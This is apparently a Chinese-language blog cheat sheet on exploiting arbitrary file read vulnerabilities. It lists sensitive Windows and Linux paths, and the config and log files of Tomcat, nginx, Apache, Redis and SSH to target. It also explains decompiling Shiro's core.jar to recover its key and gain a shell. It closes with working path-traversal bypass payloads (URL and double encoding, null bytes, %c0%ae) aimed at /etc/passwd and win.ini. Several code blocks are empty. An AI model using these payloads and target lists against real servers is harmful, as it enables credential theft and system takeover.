AFR深入利用的一些技巧
敏感文件路径
windows
1 |
|
linux
1 |
|
用户家目录
1 |
|
主机凭证
1 |
|
全盘路径⭐
适用于目标机器安装了mlocate的情况,不过一般可能需要root权限,locate命令利用mlocate.db
数据库进行全盘文件名搜索,位置在/var/lib/mlocate/mlocate.db
,获取到mlocate.db
文件后本地利用如下命令输出指定路径:
1 |
|
后端配置文件
- java站点
/WEB-INF/web.xml
/WEB-INF/classes/applicationContext.xml
/WEB-INF/classes/xxx/xxx/xxx.class
core.jar
: 如果遇到Shiro站点,可以直接利用全盘路径找到core.jar,去下载core.jar,下载后反编译搜索Base64.decode
直接找key,进而getshell。 - tomcat
/usr/local/tomcat/conf/tomcat-users.xml
- nginx
/www/nginx/conf/nginx.conf
/etc/nginx/nginx.conf
/usr/local/nginx/conf/nginx.conf
/usr/local/etc/nginx/nginx.conf
- apache
/etc/httpd/conf/httpd.conf
/etc/apache2/apache2.conf
/etc/apache2/httpd.conf
- redis
/etc/redis.conf
- ssh
/etc/ssh/sshd_config
日志文件
tomcat
可以先找到/tomcat/bin/catalina.sh
,里边有log的配置路径/webapps/ROOT/logs/catalina.out
apache
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/httpd/access_log
/etc/httpd/logs/access_log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
nginx
/var/log/nginx/access.log
/var/log/nginx/error.log
/usr/local/var/log/nginx/access.log
/usr/local/nginx/logs
jetty
/usr/local/services/jetty-8.1.16/logs/stderrout.log
/usr/local/services/jetty-8.1.16/etc/jetty.xml
bypass
- url编码代替.或者/,如使用%2F代替/
?filename=..%2F..%2F..%2F..%2Fetc%2Fpasswd
- 二次编码(%25)
?filename=..%252F..%252F..%252F..%252Fetc%2Fpasswd
- 加入+
?filename=.+./.+./bin/redacted.dll
- %00
?filename=.%00./file.php
/etc/passwd%00.jpg
\
?filename=..%5c..%5c/windows/win.ini
- Java %c0%ae 安全模式绕过
?filename=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
AFR深入利用的一些技巧
http://example.com/2022/05/23/AFR深入利用的一些技巧/